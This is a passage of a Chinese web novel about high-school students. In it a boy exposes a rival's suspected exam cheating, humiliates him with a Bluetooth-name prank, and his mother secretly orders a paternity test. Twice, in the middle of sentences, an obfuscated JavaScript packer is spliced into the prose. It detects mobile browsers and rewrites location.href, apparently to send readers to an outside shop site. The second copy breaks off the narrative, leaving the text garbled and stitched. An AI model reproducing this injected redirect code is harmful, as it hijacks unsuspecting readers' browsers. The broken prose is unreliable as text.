周末这两天,于浩宁承担了给汤振“端茶倒水”的工作。两天过去,汤振手上虽然还缠着纱布,但皮外伤已经肉眼可见地愈合了不少。 10月6日,星期一。 周末的余温还未散去,高一3班的教室里弥漫着一股无精打采的气息。 上午的数学课,回答问题的人也寥寥无几,快下课时,班主任无奈地在黑板上画了一道的函数题。 “那大家就放松一下,复习复习这道题吧,”班主任一手撑着腰,一手敲了敲黑板,朝丁航喊道:“丁航,别打瞌睡了,起来讲一下这道题的解题思路。” 全场的目光“唰”地一下集中在丁航身上,几个同样在打瞌睡的人也顿时清醒了不少。 丁航脸色一变,满脸茫然地站了起来,看着黑板上的函数题,半天开不了口。 “对不起,老师,”丁航结结巴巴,手足无措,“我,我现在思路还不太清晰。” 闻言,汤振瞬间清醒了十分:这道题,是月考考过的原题,而且还是基础题!丁航考了全班第三,这道题,怎么可能不会做?除非,丁航考试的时候…… 想到这些,汤振冷眼看着丁航那副窘迫的样子,心里开始暗暗较劲。 班主任皱了皱眉,抬手向下压了压,“行了,你坐下吧,以后上课要集中注意力,不然就站在教室后面听课。” “叮铃铃——” 下课铃声响完,汤振就去了地理老师的办公室,准备打印下节课要用的课堂练习。 走进办公室。 “浩磊,快过来,”地理老师将一个U盘递给汤振,嘱咐道:“这里面有一份我刚排版好的地理课后练习,一共三道题,你去帮我打印一下,下节课留10分钟给大家做。” “好嘞,老师。”汤振接过U盘。 去打印室的路上,汤振的脑海里飞速盘算着上周五的那笔血债,又仔细思考着上节课丁航支支吾吾答不出来的样子,心里顿时有了一个想法。 到了打印室后,汤振看了看时间,立刻将U盘插入电脑,打开了要打印的文档。 汤振果断删掉了第一题,凭着记忆,将月考试卷上那道有关气候的原题替换了上去。 打印完成后,汤振拿着带有墨香的课堂练习回到了教室,分发给了所有同学。 上课铃声刚好敲响。 地理课上到一半,这节课的知识提前讲完了,老师便让全班同学做汤振发下来的课堂练习题。 汤振答完题后,看向丁航,正要开口,突然又犹豫了起来。 上周五晚,自己才说过,以后要在学校夹着尾巴做人。但今天,又要来一次这么突兀的尝试么? 内心纠结许久,直到地理老师开口叫大家对答案,汤振的情绪才被拉了回来。 虽然不确定那天围堵自己的人到底是不是丁航叫的,但此时此刻,汤振怀疑丁航月考作弊的想法却是已经藏不住了。 “月考考过的原题你都不会做吗?”汤振突然开口,对着丁航喊道。 在安静的教室里来这么一嗓,所有人的眼光又朝着汤振和丁航看了过来。 丁航的脸色肉眼可见地变红,看向汤振,压低了声音:“你在乱说什么?” 汤振掷地有声:“我说,第一题,是月考考过的原题。你地理不是满分吗,怎么今天又不会做了?” 前桌的蒋朋看着题目,喊道:“真的是月考原题,我才发现呢。” 后桌的姜岩伸着脖子看向丁航的课桌,问道:“丁航,你不会连原题都不会做了吧?” 丁航猛地将打印着练习题的A4纸翻了个面,像一只被踩了尾巴的猫一样,跳了起来,“于浩磊,你什么意思?我只是在脑子里想好了,懒得写,你管得着吗?” “都要对答案了,你懒得写?”汤振双手抱胸,眼神锋利如刀。 地理老师这才发话,制止道:“你俩又在课堂上干什么呢?有什么事下课再说。” 汤振却没有听老师的,反而拖长了声音:“丁航,你月考该不会作弊了吧?上节课的函数题就是月考考过的原题,你说你不会。这节课,又是月考考过的题,你还是不会。” “你放屁,”丁航一巴掌拍在桌子上,“你少在这里空口白牙诬陷别人,不就是嫉妒我考得比你好吗?” 汤振冷笑一声,“那好啊,我们把月考地理试卷拿出来,你现场做!” “行了,好好的课堂都被你俩搅坏了,”地理老师呵斥道:“丁航,中午午休的时候,到我办公室来把这节课讲过的知识点背一遍。于浩磊,下课来我办公室。” 就在这时,下课铃声不合时宜地响了起来,最终还是没能来得及让丁航现场再做一遍月考地理试卷。 汤振脸上有些许失望的神色,目光却依然坚定地看向丁航,“行,我不急,反正以后有的是时间测试你这个伪学霸。” 丢下狠话,汤振便出了教室,跟在地理老师身后,去了办公室。 丁航跌坐在椅子上,额头上渗出几滴汗液,死死盯着汤振的背影,眼底的怨怼几乎要溢出来。 去了地理老师办公室后,老师只是叮嘱了汤振几句,让他不要再在课堂上太过冲动,有些事情可以私底下给老师反映,今天的行为占用了大家上课的时间,让汤振以后不要再鲁莽行事。 汤振随后便给地理老师道了歉,老老实实回了教室,一整个下午,他脑海里都时不时想起上午发生的事,不知不觉,时间也到了晚上。 晚自习。 教室的窗户关得有些严实,虽然天气凉爽,但人一多,难免让人感觉闷热。 丁航坐在座位上,上下眼皮直打架,像是困得抬不起头。 随后,丁航烦躁地从抽屉里摸出一个小玻璃瓶——风油精,同时,他毫不客气地拿过蒋朋刚写完的作业,堂而皇之地摊在自己的课桌上,准备开抄。 汤振斜着眼,用余光瞥了一眼丁航,道:“哦?丁哥也学会抄作业了,果然是学霸,好的坏的都能学会。” 丁航也侧着脸瞧了一眼汤振,“你懂个屁,知识都是储备在脑子里的,你平时作业做得那么认真,考试的时候也没见你考得比我好啊。” 汤振单手托着下巴,手里转着笔,看着丁航,“但是你这知识储备量,掉得有点快啊,月考才过去不久,上午那两道这么简单的原题你都不会做。” 周围几个同学没忍住,发出了压抑的偷笑。 于浩宁也听到了动静,好奇地转过头,隔着汤振,看向丁航那边。 丁航放下右手握着的笔,左手紧紧捏着风油精玻璃瓶,眼神比刚才更加冷厉,在周围人的偷笑声中,脸色一阵一阵地发红。 “于浩磊,你上午管那么宽,现在还要管吗!我抄作业关你屁事,考得比你好就行!” 丁航的怒吼响彻教室,他手里拿着拧开盖子的风油精,气急败坏地朝汤振甩了一手。 “啊——” 一声痛苦的喊叫传来。 于浩宁刚才正好看向丁航这边,丁航这一挥手,手里的风油精直接飞溅了几滴出来,有一滴不偏不倚地甩进了于浩宁的右眼里。 与此同时,丁航也因为动作太大,手肘撞到了桌沿,桌上那一摞高高的书本“哐当”一声,像雪崩一样,砸落了一地,发出巨大的声响,如同在教室里引爆了一颗炸弹。 于浩宁瞬间捂住右眼,趴在桌子上,眼泪在风油精的刺激下不断往外涌。 “浩宁!” 汤振的脸色瞬间既担忧又惊惧,他猛地抓起前桌蒋朋的矿泉水,拧开盖子,递给了于浩宁。 “仰起头,把眼睛睁开!”汤振一手托住于浩宁的下巴,另一只手将水流细细地倒进了他眼睛里冲洗。 周围几个同学也一齐凑了过来,有人连忙拿出餐巾纸和不含酒精的湿纸巾递给于浩宁。 就在这乱作一团的瞬间,教室前门,突然出现了一张严肃呆板的脸 ——教导主任如同幽灵一般,无声无息地出现在了高一3班教室里。 刚一进教室,教导主任就看到这一片狼藉,丁航的书散落一地,于浩宁趴在桌子上,汤振正拿着一瓶矿泉水往于浩宁脸上倒,几个同学还乱作一团地站在一旁。 教导主任一声呵斥:“你们在干什么?” 整个教室的空气瞬间冻结,似乎连风也弱了几分。 教导主任大步走向汤振,又看着满脸是水的于浩宁,冷冷质问道:“于浩宁,你是晚自习刚睡醒吗,还要人帮你洗脸清醒一把?” 见众人一时不发话,教导主任的目光严厉如寒霜,接着喊道:“晚自习是用来睡觉的吗?于浩宁,站起来!” 汤振眼里涌现出几分暴戾。 “老师!”汤振猛然转过身,捏得手里的矿泉水瓶嘎吱作响,眼神迎上了教导主任令人胆寒的目光。 “老师,您严厉归严厉,但不能像这样不分青红皂白地责备学生,”汤振的声音压迫着教室里的空气:“于浩宁根本不是在睡觉,他的眼睛里进风油精了。” 教导主任愣了片刻,似乎没能像预想中那样生气,只默默上前两步,扫视了一圈众人,疑道: “进风油精?看书看得好好的,风油精怎么会弄到眼睛里去?” 于浩宁满脸泪痕,忍着右眼的灼痛,伸手指向丁航:“就是他……” 听着于浩宁的声音,汤振用眼神狠狠地剜了一眼右边的丁航,脑子里飞速运转,瞬间就想把丁航的恶行和盘托出。 似乎有一道闪电劈入脑海,汤振感觉灵光一现,想让丁航也尝尝眼睛里进风油精的滋味。 “对,就是因为丁航,”汤振打断了于浩宁的话,指着丁航道:“主任,刚才于浩宁做题有点累,打了个哈欠,丁航同学看到后,非常热心地拿出了风油精,让于浩宁擦在眉毛上面,说是可以提神醒脑。” 丁航瞪大了眼睛,“我啥时候……” “你别打岔,”汤振一声怒喝,继续对着教导主任解释道:“丁航真的不是故意把风油精甩进于浩宁眼睛里的,他只是想让于浩宁把风油精涂在眉毛上。而且丁航还说,他自己也准备往眉毛上涂一点风油精,醒一下瞌睡呢。是吧,丁航?” 教室里一片安静,几个看热闹的同学甚至忘了坐回自己的位置上去。 汤振看向教导主任,继续补充道:“真的,主任,丁航真不是故意整于浩宁的,他说他自己也要把风油精涂在眉毛上。” 教导主任深邃的目光缓缓落到了丁航的脸上。 “我,我,”丁航咬着牙,咽了一口唾沫,细声细语道:“我确实是好心把风油精借给他涂的,我自己也准备涂一点……” 闻言,汤振轻笑一下,冲着丁航抬了抬下巴,“涂啊!” 丁航低眉看了看四周,颤抖着手,将风油精瓶子抖了抖,在左手食指上倒出一小滴绿色液体。 教导主任开口叮嘱道:“少涂一点,眉毛离眼睛那么近。” 丁航看了看汤振,抬起左手,将那一小滴风油精轻轻抹在了自己左边眉毛的末端。 十秒后,丁航的眼皮开始上下打架,忍不住闭上了眼睛,拿起桌上的纸巾,就要往脸上擦。 教导主任的脸色有些无奈,“好了,大家以后都别那么不小心。丁航,你去教室门口罚站,好好清醒一下!” “主任,”汤振一脸乖巧道:“丁航也是一片好心,只是手法粗糙了点。” 丁航悻悻地朝教室门口站了过去,不断眨着左眼,眼里满是泪光。 教导主任冷哼一声,看了一眼遍地狼藉,朝汤振道:“你帮丁航把地上的书捡起来,所有人,继续认真上晚自习!” “好的,主任。” 汤振蹲下身,开始不紧不慢地帮丁航捡地上的书本。 在捡起一本厚厚的字典时,汤振敏锐地发现,丁航那部黑色手机,此时正躺在几本书的夹缝里,手机屏幕都还亮着。 汤振看了一眼教导主任的背影,立刻将丁航的手机蓝牙打开,还把音量调到了最大。 虽然汤振手上还缠着纱布,但想起于浩宁刚才痛苦的样子,汤振整个操作过程完成得十分灵活,心里也感到一阵痛快。 随后,汤振神色如常地将手机塞回了丁航的课桌抽屉里,又继续把地上剩下的书捡了起来,放回桌上。 完成一切,汤振才坐回座位,偷偷拿出自己的手机,打开设置,修改起了自己手机的蓝牙名称: 「教导主任的牙齿上有青菜」 改完自己手机的蓝牙名称后,汤振依次点击了“搜索”“配对”。 五秒钟后,教导主任正准备转身离开教室。 忽然,沉寂的教室里,爆发出洪亮的系统提示音: “‘教导主任的牙齿上有青菜’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575469|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想和您配对。” “‘教导主任的牙齿上有青菜’想和您配对。” “‘教导主任的牙齿上有青菜’想和您配对。” 巨大的电子合成音,从丁航的课桌抽屉里传出,在鸦雀无声的教室里,回荡了三圈。 随后,汤振立刻将自己的蓝牙名称改了回去,并将手机关机。 安静的教室里,所有同学的目光,惊恐地看向丁航的课桌,然后不可遏制地看向了教导主任逐渐发红的脸庞。 “——哈哈哈哈!” 不知道是谁先没憋住,发出了一声极具爆发力的喷笑。 紧接着,整个高一3班彻底失控,全班同学前仰后合,有人连忙把书本竖了起来,挡住自己的脸,肩膀却一阵一阵耸动着,笑得满脸通红。 教导主任的脸变成绯红色,眼神却像冰窖一样寒冷,如同一座被冰川包裹着的活火山。 踩着“咚咚咚”的步子走了过来,教导主任怒不可遏地将手伸进丁航的课桌抽屉里,把那部还在振动的手机抓了出来。 “丁——航!” 教导主任的怒吼声,似乎震得教室的窗户玻璃嗡嗡作响。 站在门口罚站的丁航一脸惶恐,满脸绝望地看着教导主任和她手中的手机,眼泪又从左眼流了出来。 教导主任的声音铿锵有力:“你上次还问我允不允许带手机,我是不是告诉过你,绝对不准带?你不仅把我的话当耳旁风,还在这里搞这种侮辱师长的把戏!” “我没有,”丁航迅速看向一脸平静的汤振,疯狂咆哮道:“主任,你要相信我,肯定是于浩磊,于浩磊他也有手机!刚才那个蓝牙肯定是他发过来请求配对的,那个蓝牙的名字肯定是他自己手机的!” 丁航又冲到教导主任面前,声嘶力竭地指控:“你们现在马上搜于浩磊的身,绝对能搜出手机,一切就真相大白了!” 教导主任眉头一皱,目光跟着扫向汤振。 汤振一时间无言以对,正思考着借口,突然,不远处传来一个女生的呵斥: “别闹了,丁航!” 坐在前排的班长打断了丁航的话,又推了推鼻梁上的眼镜,理智的脸上写满了不耐烦。 班长的声音清脆而严厉:“你为什么要一而再再而三地让大家搜于浩磊的私人物品,公然挑衅学校的底线吗?无凭无据地要求教导主任去搜一个学生的私人物品,是想破坏主任的公平公正,还是想败坏浥鸣二中的形象?” 班长看向教导主任,继续解释道:“主任,您刚才也看到了,于浩磊一直拿着矿泉水,在给于浩宁清洗眼睛。于浩宁确实没有在晚自习睡觉,于浩磊也没有在晚自习捣乱。” “江悦!”丁航的眼睛里似乎能喷出火来,“你放屁!亏你还是班长,你每次都袒护于浩磊,上次地理课你也袒护他!” “闭嘴,”教导主任一拍桌子,切断了丁航的话,“你自己违反校规带手机,想要拉同学下水,还要求别人知法犯法搜学生的私人物品。丁航,你还是好好在门口站到晚自习结束吧!” 教导主任又看了一眼手里的手机,接着冷酷地宣布道:“你的手机,我没收了,如果你想拿回去,这学期的期末考试,考进班级前五名,否则,这手机就一直锁在我的抽屉里!现在,立刻回去罚站,站到放学。” 丁航被吼得浑身一颤,咬着嘴唇看了一眼班长,又瞪了一眼汤振,一脸恨意地走去了教室前门。 教导主任转过身,准备离开教室,但那双锐利的眼睛却在汤振身上停留了两秒。 “于浩磊,你也注意点,这次饶过你。” 汤振神色一惊,心里强行命令自己镇定,从嘴里挤出四个字,“明白,主任。” 教导主任踩着“咚咚”的步子,带着那部惹祸的手机走出了教室,背影消失在长长的走廊里。 月光冰冷地照在教室墙壁的瓷砖上,丁航将后背贴在墙上,脸上的泪痕已经风干了不少,神色却仍然红温。 丁航看了看班长,嘴里模模糊糊嘟囔道:“江悦!你老实说,你是不是喜欢于浩磊,所以才处处针对我!” “你有脑容量去编排别人,不如拿来装点公式。”班长回应道,随后拿着水杯走向饮水机,接了一杯水。 前排几个同学已经将目光看向了丁航和班长,一脸看热闹的表情。蒋朋也转过头,眼神示意了一下汤振。 汤振表面做着练习题,心里却忍不住想认真听清丁航和班长的对话。 丁航朝班长翻了个白眼,“你不承认算了。” 江悦拿着水杯走回座位,语气十分平静:“我有必要承认或者不承认吗?丁航,如果我把闲暇时间都用来喜欢别人,我恐怕也很难考班级第一。倒是你,你谁也不喜欢,怎么没考第一名?” “你——”丁航一时语塞。 “班长说得对。” 汤振也慢悠悠地抬起头,看向门口的丁航和前排的班长,嘴角挂着一丝玩味的笑意。 “丁哥,”汤振的声音带着极强的穿透力:“咱们学校可是禁止中学生早恋的,你自己手机被没收,心里不平衡,就想些有的没的来污蔑同学。” 班长已经继续做着作业,头也不抬,不再理会丁航,也没有接汤振的话茬。 丁航看着汤振和班长,胸口上下起伏,仍然轻微地眨着左眼,满脸不服气的神情。 良久,丁航咽了一口唾沫,指着汤振和班长,吼道:“行,行!你俩一唱一和,我说不过你们,你们就等着看11月3号的期中考试我到底考第几名吧,看我到时候能不能让你们这群自以为是的学霸通通闭嘴!” 汤振看着丁航满脸狠意的样子,无所谓地耸了耸肩,继续写起了作业。 只是汤振脑海里想着:那天晚上对于浩宁说的话,恐怕又要打水漂了,自己果然还是一个冲动的人。 其实,汤振也不清楚,那四个混混到底是不是丁航叫去的,也不知道现在把气都撒在丁航身上,到底合不合适。 但,除了丁航,汤振也想不到是谁,可如果确实不是丁航,自己今天是否真的做得太过分了? 算了,就当是自己私心想报复丁航吧,不说别的,就因为于浩宁的右眼平白无故受这个罪,汤振也不想轻易放过丁航。 心里的复杂情绪将汤振的思路扰得一片混乱,他将一张又一张的草稿纸揉成一团又一团,一股脑堆在了课桌上。 17. 亲子鉴定 10月21日早上,晨风带着几分料峭的寒意,将金黄的行道树吹得微微作响。 卧室里一片兵荒马乱,于浩宁一边单脚跳着穿鞋,一边看着汤振胡乱将书塞进书包,“哥!快点,今天早读要听写单词。” “我地理卷子还没找到呢!”汤振咬着半片吐司,满头大汗地在书桌上一通乱翻,最后终于在昨天没吃完的饼干盒下面,抽出了那张皱巴巴的试卷。 “找到了,走!”汤振一声令下,两人立刻像旋风一样冲出了卧室,在门口抓起外套。 伴随着“砰”的一声巨响,大门被重重关上。 五分钟后,主卧的门打开了。 许艺岚穿着一身得体的西服,化着淡妆,手里拿着一个空咖啡杯走了出来,客厅里安静得只剩下挂钟的“嘀嗒”声。 许艺岚习惯性地经过汤振和于浩宁的卧室门口,余光看了一眼卧室。 只见两张单人床上的被子像揉皱的咸菜一样堆着,书桌上散落着几支没盖笔帽的签字笔。 许艺岚无奈地摇了摇头,嘴角却带着一丝包容,她走了过去,熟练地帮于浩宁叠好被子,然后转身走到汤振的床前,弯下腰,双手抓住被角,正准备将被子抖开。 突然,许艺岚的目光凝滞了,正要抖被子的手,也停在了半空。 在汤振的纯棉枕套正中央,静静地躺着几根头发,其中一根还带着毛囊。 许艺岚的目光径直看向了那几根头发上,她轻放下手中的被褥,伸出两根手指,小心地将那一根有毛囊的头发捏了起来。 拿在手上思考良久后,许艺岚缓缓将手伸进口袋,拿出了手机。 几秒钟后,电话接通。 “喂,小赵,”许艺岚的声音平静却有力:“上午十点的供应商会议,你替我主持一下。我有点急事,晚一点去公司。” 挂断电话,许艺岚将头发放进了密封袋里,紧紧攥在手心,大步走出了家门。 上午九点,浥鸣县第一医院。 医院的走廊上充斥着消毒水的味道,冷白色的荧光灯打在许艺岚略显苍白的脸上。 “许艺岚,做个人隐私亲子鉴定,是吗?”穿着白大褂的医生隔着玻璃窗口,确认了一遍手里的缴费单。 “是,”许艺岚将那个装有汤振头发的密封袋,以及自己的血液,一起递了进去,“这两份样本。” 医生接过样本,熟练地贴上条形码,“根据相关要求,个人鉴定不需要走司法流程,结果不具备法律效力,仅供您个人参考。” “好,”许艺岚双手撑在冰冷的台面上,“请问结果什么时候能出来?” “个人鉴定,最快三天。”医生敲击着键盘,头也不回地答道。 “好,谢谢。” 许艺岚若有所思地转过身,一步步走到了医院门诊大厅。 大厅里人声鼎沸,许艺岚神情木讷地走向医院外面,她静静的身影似乎与周围的嘈杂格格不入。 与此同时,高一3班的教室,正上着语文课。 天花板上的白炽灯将课堂的氛围照得有些让人无精打采,课已经上到一半,好几个学生忍不住将目光放到了黑板旁的钟表上。 语文老师穿着一袭浅蓝色的长裙,手持课本,看上去透着一股温婉的书卷气,扩音器的话筒如一枝新芽,悬在她的脸颊右侧。 缓步行至于浩宁的课桌旁,语文老师问道: “这篇散文的第三自然段,作者反复描写那棵枯树,表达了一种什么样的情感?” 老师放下手中的语文书,写满笔记的书本轻轻躺在于浩宁的课桌外沿。 目光扫过全班,语文老师低头看着离自己最近的学生,喊道:“于浩宁,你来说说你的理解。” 椅子与地面的摩擦,发出“吱”的一声。 于浩宁从椅子上站了起来,看着书上的原文,一字一句地答道:“作者写这棵枯树,应该是想表达对童年时光的怀念,以及对故乡衰败的无奈。” “不对哦,”语文老师温和地笑了笑,“标准答案应该是,表达了作者在绝境中依然不屈的生命力,以及对未来重生的渴望。” 于浩宁愣了片刻,有些疑惑地皱了皱眉。 右边隔着一个座位的丁航抱怨道:“什么标准答案嘛,感觉出题人就是想得太多,让作者本人来做这道题,都不一定做得对呢!” 班里响起几声窃窃低笑,一两个稍微调皮的学生也开始附和了起来: “说不定写那棵枯树只是因为作者心情不好,看什么都不顺眼呢。” 语文老师的神色依旧平静,似乎早已习惯了这种质疑,她嘴角含了一缕轻笑,将目光转向了坐在前排的班长江悦。 “江悦,你学习好,也最爱看课外书。你对丁航的观点,有什么看法吗?” 江悦站起了身,抿了抿嘴,目光平静地扫了一眼丁航,开口道: “其实我觉得,阅读理解做不对,并不代表题出得不好,并且,作者本人不一定非要知道阅读理解的答案。” 江悦的声音清脆且极具条理,没有用死板的背诵语气,像在分享一个有趣的课外知识:“我之前做阅读的时候也有过这样的疑惑,不过后来,我看到了新批评派提出的理论,大概是说,文章一旦写出来,就和作者彻底解绑了,作者当时是怎么想的,根本就不重要。” 全班同学都好奇地将目光投向了江悦,连汤振都忍不住抬起头,放下手里的笔仔细听着。 老师看着江悦,继续问道:“那新批评派有没有解释,为什么文章写出来之后,就和作者解绑了呢?” “因为文字本身有自己的逻辑,”江悦解释道:“文学作品不是作者的私人日记,而是由语言构成的,语言是社会的产物。所以,读者或者出题人应该根据文章的词语、修辞和上下文的客观逻辑去推导含义,而不是去猜作者当时脑子里是怎么想的。” 教室里出奇地安静,每个人都认真听着江悦和语文老师的话语,几个平时爱看小说的女生欣喜地望向江悦,眼神里充满了肯定。 “不错,回答得还是比较好的,”语文老师毫不吝啬地鼓了两下掌,“那你喜欢文学么,以后想考什么专业?” “我想学哲学。”江悦平静答道,然后坐了下来。 “好,加油,老师相信你一定可以。”语文老师赞许地点点头。 丁航举手问道:“既然文学作品写出来之后,连作者本人都没有解释权,那为什么阅读理解还要设置标准答案呢?” 老师放下手中的语文书,面向全班,认真答道:“同学们,其实,很多作者做自己的阅读理解也只能拿个及格分,这就证明了阅读理解考的根本不是去猜作者的心思。因为作者写作,靠的是直觉、情感和灵感,作者是盖房子的人,但你们是参加考试的人。” 老师转身,面向黑板,拿起一截粉笔,在上面画了一个房子的轮廓,解释道:“语文考试,是一项教育测量工具。所谓的标准答案,考查的不是你们能否猜对作者的心思,而是你们的逆向解构能力和逻辑实证能力。” 丁航缓缓点了点头,汤振一脸似懂非懂地望向语文老师。 “江悦刚才说得对,语言是社会的产物,”语文老师的声音变得铿锵有力,继续解释道:“阅读理解想要考查的,是你们能否在给定的语境里精准提取信息,你们要学会分析那些优美的句子是运用了什么结构才达到了那种共鸣。作者不需要知道标准答案,因为房子是他盖的。但你们需要,因为教育要求你们学会解析出房子的建筑蓝图。” 汤振靠在椅背上,看着讲台上那个平时温声细语的语文老师,平时上课习惯了走神,今天反倒觉得瞌睡都醒了几分。 “为什么非要学这个呢,”语文老师的语气也逐渐放缓:“其实,老师高中做那些枯燥的阅读理解时,也骂过出题人。直到老师后来读了大学,走上工作岗位,才幡然醒悟。” 语文老师的目光又扫过班上所有人,叹了口气,“所以说,教育是具有滞后性的。老师不奢求你们这群孩子能对那些沧桑的文字产生多么深入的见解,因为你们的社会阅历还不够。但没关系,总有一天,当一颗子弹在多年以后正中你们眉心时,你们会理解标准答案里的每一个字。” 同学们似懂非懂地点了点头,汤振扯了扯听得出神的于浩宁,示意他现在可以坐下来了。 语文老师看了一眼墙上的挂钟,“那么,今天的课后作业,就不布置练习册上的题了,老师希望你们回去问问家里的长辈,让他们讲一个青春期的小故事,问问他们现在的生活和年轻时的预想有什么不同。然后,请你们用一句从小到大背过的古诗词,去概括或者描述这个故事,写一篇500字左右的随笔,想怎么写就怎么写,不做严格要求。” 随后,老师又补充道:“如果故事涉及隐私,可以私底下交给我看。” 话音刚落,下课铃声便响了起来,打破了教室里的宁静。 语文老师拿着教材和扩音器,缓缓走出了教室,一袭长裙在教室门口留下一缕淡蓝。 教室里,刚才的作业却掀起了一阵讨论。 “什么奇葩作业啊,”于浩宁抓着头发,“我妈一天到晚在公司开会,回家也忙得不可开交,我哪敢去问她这个那个……” 汤振转着手里的笔,望向天花板,“这有啥不敢的?你可是她亲儿子,随便聊两句不就行了?” “算了吧,”于浩宁眼珠一转,突然低声道:“诶,哥,要不就随便找一句古诗词,然后编一个咱妈年轻时的故事,不就行了?” 汤振皱了皱眉,回想起刚才语文老师那番话,突然觉得心里有些不是滋味。 “难怪老师说教育具有滞后性,”汤振拿笔轻敲了一下于浩宁的右肩,“老师花这么多心思布置这份作业,你却想着瞎编乱造,那这份作业还有什么意义嘛?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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体委举起手中的报名表挥了挥,“初一、初二、高一和高二四个年级全体都要参加,咱们班至少得报六个项目。有没有主动报名的?” 教室里又恢复了鸦雀无声。 几秒钟后,只有江悦举起了手,“我报女子800米吧。” 说完,班长回过头环视了一遍全班同学,大多都在低头看着数学课本。 体委尴尬地捏了捏手中的报名表,将班长的名字写到了“女子800米”一栏中。 站在教室后面的班主任,脸色瞬间沉了下来,开口道: “咱们高一3班,连个运动会都凑不齐人吗?平时下课去小卖部买零食,跑得比兔子还快,到了需要给班级争荣誉的时候,也发挥一下那种冲刺精神呀。” 汤振屏住呼吸,回头看了一眼班主任,又连忙将脸转了回来,思索片刻,举手道:“体委,我报一个男子短跑和男子1000米!” 隔着一个过道的丁航也举起了右手,“我也要报短跑,再报个……三级跳远!” 一股莫名其妙的意味在汤振心里油然而生,与丁航在空中对视了一眼,又将目光转回了课桌上。 于浩宁在旁边愁眉苦脸,“咋办?我好像只会做广播体操。” 闻言,汤振的脑海里突然闪过一个画面: 那天晚上,抓着防护网从四楼的高度降下来时,于浩宁的腿部力量可强了,紧紧夹在自己的腰部,纹丝不动。 汤振清了清嗓子,声音提高了几分,道:“怕什么?那天晚上我背着你,从四层楼高的地方抓着防护网跳下去的时候,你的腿部力量多强呀!” 大声说完这句话后,汤振忍不住看了一眼丁航,丁航并没有任何反应。 难道,那晚的四个混混,真不是丁航叫去的? 汤振只觉得自己的心无力地向下沉了又沉。 于浩宁拉了一把汤振的衣角,“所以……我能报什么?” “你那腿部爆发力,如果不报名个男子三级跳远,简直是屈才了。”汤振鼓励道。 体委在台上把于浩宁的名字也填在了“三级跳远”一栏中。 紧接着,班上的其他同学也一个接一个举起了手,不论男生女生,都争先恐后地让体育委员把自己的名字写进比赛项目里。 “我报短跑。” “铅球加我一个!” “我也要报三级跳远……” 趁着全班此刻正热闹,汤振侧着身子,压低声音,朝于浩宁道:“刚才我故意大声说那晚被围堵的细节,从丁航的反应来看,他并没有丝毫心虚,好像真的不关他的事。” 于浩宁听完,思索片刻,摇了摇头,也悄声道:“但你的逻辑有漏洞!你想想,如果丁航只是花钱雇了那四个混混,那他本人就不在现场,自然也就不知道我们抓着防护网跳下去的细节。” 于浩宁继续补充道:“所以,单凭他刚才没有做出任何反应,也无法排除他就是幕后黑手的嫌疑。因为他不在现场,即使听到有关现场的细节,他也不会有任何反应的。” 汤振愣神片刻,点头道:“嗯,刚才确实是我分析得有问题,还是不能排除丁航的嫌疑。” “叮铃铃——” 刺耳的上课铃声又敲响了。 汤振拿出数学书,抬头看向窗外,阴云背后仿佛有一张无形的大网,正勘破一簇簇金黄的树叶,朝自己兜头扑来。 18. 凉意 10月24日晚。 客厅里弥漫着一股淡淡的柠檬味清香,是地板清洁剂的气味。 汤振从卧室里出来,去卫生间拿了一块抹布,走到客厅,极其利索地将茶几上的水渍擦干,又顺手把沙发上的财经杂志摆回书柜。 这半个多月以来,汤振都在做双倍的数学作业,几乎拿出了当年在街头逃亡的效率,今晚硬是赶在十点半前把那些数学题给完成了。 许艺岚的脸上带着化不开的疲倦,“作业提前做完了?那你早点去休息吧,妈一个人打扫也行。” “没事儿,妈,我不累。现在差不多也快打扫完了,你先休息吧,我去给你倒杯水。” 汤振拿起茶几上的两个玻璃杯,走到饮水机旁接了两杯温水,一杯递给了许艺岚,一杯递给了轮椅上的于强。 许艺岚接过水杯,看着被收拾得一尘不染的客厅,眼神里闪过一丝柔光:“今天难得提前完成工作,好久没打扫屋子了,妈就想着,睡觉前把清洁做一下。” 汤振笑了笑,忽然想起了三天前的语文作业,遂试探性问道: “妈,我们语文老师三天前布置了个随笔,让家里长辈讲一个青春时期的故事,说说看现在的生活和以前预想的有什么不同。我想问问,你年轻的时候……” 许艺岚喝水的动作微微一顿,垂下眼皮,语气平淡得没有一丝波澜,“我的青春,哪有什么故事,全是在书本和考试里熬过来的。至于预想……生活永远不会按你预想的轨迹走,能把眼前的坎迈过去就算赢了。” 汤振点了点头。 许艺岚接着道:“有字数要求么?” “最少500字。”汤振答道。 “好,那我说,你听。” 许艺岚轻微一笑,放下水杯,看着窗外的明月,细细讲了起来…… 夜空中,繁星满天。极静好的一个夜晚。 十多分钟过去,有飒飒微风从窗户吹入卧室,于浩宁书桌上的草稿本在微风的轻抚下,如流水般翻动了两页。 伸了个懒腰,于浩宁缓缓站起身,疲惫地将作业整理好。 许艺岚收拾完房间后,又将于强从轮椅上扶至卫生间,帮他擦拭了身体,随后又在汤振的帮衬下,扶着于强进了主卧,“咔嗒”关上了卧室门。 道了晚安,汤振继续坐回了沙发上发呆。 片刻后,于浩宁也满脸睡意地从次卧走了出来,到餐桌旁坐下,看向在沙发上快要睡着的汤振,低声提醒道:“哥,该去睡了吧,你别躺沙发上睡着了。” “嗯,好……”汤振无精打采地回应道。 餐桌上,一堆文件散乱地摆放着,其中一张白色单子格外醒目。 “这什么东西?” 于浩宁拿起那张和其余文件格格不入的单子,睡眼惺忪地看了起来,漫不经心地扫了一眼页眉。 就只扫了一眼,于浩宁整个人就像是被定住一般,僵在原地,就连脸上的睡意,也几乎消散殆尽。 于浩宁冲着沙发上的汤振招了招手,焦急地轻声细语道:“哥,快过来看这个!” 汤振缓缓睁开一只眼,吸了一口气,撑着沙发站了起来,声音如梦中呓语: “怎么了……” 随后,汤振的目光也落在了于浩宁手中的报告上,他的眼神骤然凝聚成了针尖。 